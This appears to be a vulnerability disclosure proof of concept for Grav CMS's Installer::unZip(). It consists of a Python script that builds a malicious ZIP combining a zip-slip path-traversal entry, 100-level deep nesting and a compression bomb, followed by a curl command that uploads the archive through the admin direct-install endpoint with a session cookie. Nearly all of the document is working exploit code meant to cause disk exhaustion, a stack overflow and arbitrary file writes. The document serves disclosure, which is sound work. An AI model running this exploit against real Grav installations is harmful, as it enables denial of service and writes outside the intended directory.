Grav CMS — Improper Handling of Highly Compressed Data in Installer::unZip()

#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.

Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""

import zipfile, os, sys

OUT = "/tmp/cve_poc_grav.zip"

def build():
    with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
        # --- Zip Slip: arbitrary write outside target ---
        z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")

        # --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
        for i in range(100):
            z.writestr(f"deep/{'x/' * i}.keep", "")

        # --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
        for i in range(100):
            z.writestr(f"bomb/{i}.dat", b"A" * 100_000)

    with zipfile.ZipFile(OUT) as z:
        infos = z.infolist()
        compressed = os.path.getsize(OUT)
        uncompressed = sum(e.file_size for e in infos)
        slip = any(".." in e.filename for e in infos)
        depths = [e.filename.count('/') for e in infos]

    print("=" * 60)
    print("CVE PoC — Grav CMS Installer::unZip()")
    print("Zip Bomb | Zip Slip | Deep Nesting")
    print("=" * 60)
    print(f"File           : {OUT}")
    print(f"ZIP size       : {compressed:,} B ({compressed/1024:.1f} KB)")
    print(f"Uncompressed   : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
    print(f"Ratio          : {uncompressed/compressed:.0f}:1")
    print(f"Entries        : {len(infos)}")
    print(f"Max depth      : {max(depths) if depths else 0}")
    print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
    print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
    print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
    build()

   curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
     -H 'Cookie: grav-admin=<SESSION>' \
     -F 'admin-nonce=<NONCE>' \
     -F 'uploaded_file=@/tmp/cve_poc_grav.zip'